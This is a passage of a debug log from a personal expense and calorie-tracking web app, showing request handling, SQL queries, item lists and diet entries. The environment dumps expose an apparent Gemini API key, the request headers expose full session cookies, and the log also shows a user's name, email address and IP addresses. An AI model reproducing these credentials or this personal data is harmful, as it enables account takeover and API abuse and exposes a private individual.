    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '159.203.58.199',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 07:09:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 07:09:50' as DATETIME)"
}
2025-12-16T08:41:42.395Z server-connect:router Serving templateView /
2025-12-16T08:41:42.396Z server-connect:app Executing action step identify
2025-12-16T08:41:42.397Z server-connect:app options: { provider: 'security' }
2025-12-16T08:41:42.397Z server-connect:output identity: 1
2025-12-16T08:41:42.397Z server-connect:app Executing action step restrict
2025-12-16T08:41:42.397Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T08:41:42.399Z server-connect:output restrict: undefined
2025-12-16T08:41:42.399Z server-connect:app Executing action step restrict
2025-12-16T08:41:42.399Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T08:41:42.400Z server-connect:output restrict: undefined
2025-12-16T08:41:42.400Z server-connect:router Render template layouts/main
2025-12-16T08:41:42.400Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6b-2nj3CoTIairv3RmAJ9dRRAFKABM"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6b-2nj3CoTIairv3RmAJ9dRRAFKABM"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T08:41:44.120Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T08:41:44.121Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T08:41:44.122Z server-connect:app Executing action step identify
2025-12-16T08:41:44.122Z server-connect:app options: { provider: 'security' }
2025-12-16T08:41:44.122Z server-connect:output identity: 1
2025-12-16T08:41:44.122Z server-connect:app Executing action step restrict
2025-12-16T08:41:44.122Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T08:41:44.123Z server-connect:app Executing action step identify
2025-12-16T08:41:44.123Z server-connect:app options: { provider: 'security' }
2025-12-16T08:41:44.123Z server-connect:output identity: 1
2025-12-16T08:41:44.123Z server-connect:app Executing action step restrict
2025-12-16T08:41:44.123Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T08:41:44.125Z server-connect:output restrict: undefined
2025-12-16T08:41:44.125Z server-connect:app Executing action step select
2025-12-16T08:41:44.125Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T08:41:44.126Z server-connect:output restrict: undefined
2025-12-16T08:41:44.126Z server-connect:app Executing action step single
2025-12-16T08:41:44.126Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T08:41:44.130Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T08:41:44.131Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T08:41:46.581Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T08:41:46.581Z server-connect:app Executing action step identify
2025-12-16T08:41:46.581Z server-connect:app options: { provider: 'security' }
2025-12-16T08:41:46.581Z server-connect:output identity: 1
2025-12-16T08:41:46.581Z server-connect:app Executing action step restrict
2025-12-16T08:41:46.581Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T08:41:46.581Z server-connect:output restrict: undefined
2025-12-16T08:41:46.581Z server-connect:router Render template calorie-tracker
2025-12-16T08:41:46.582Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"32a9-OWn/RCRMlmMOf0oAXFj9rbJra60"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"32a9-OWn/RCRMlmMOf0oAXFj9rbJra60"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T08:41:46.823Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T08:41:46.824Z server-connect:app Executing action step identify
2025-12-16T08:41:46.824Z server-connect:app options: { provider: 'security' }
2025-12-16T08:41:46.824Z server-connect:output identity: 1
2025-12-16T08:41:46.824Z server-connect:app Executing action step restrict
2025-12-16T08:41:46.824Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T08:41:46.824Z server-connect:output restrict: undefined
2025-12-16T08:41:46.824Z server-connect:app Executing action step single
2025-12-16T08:41:46.824Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T08:41:46.826Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T08:41:46.826Z server-connect:app Executing action step select
2025-12-16T08:41:46.826Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T08:41:46.828Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
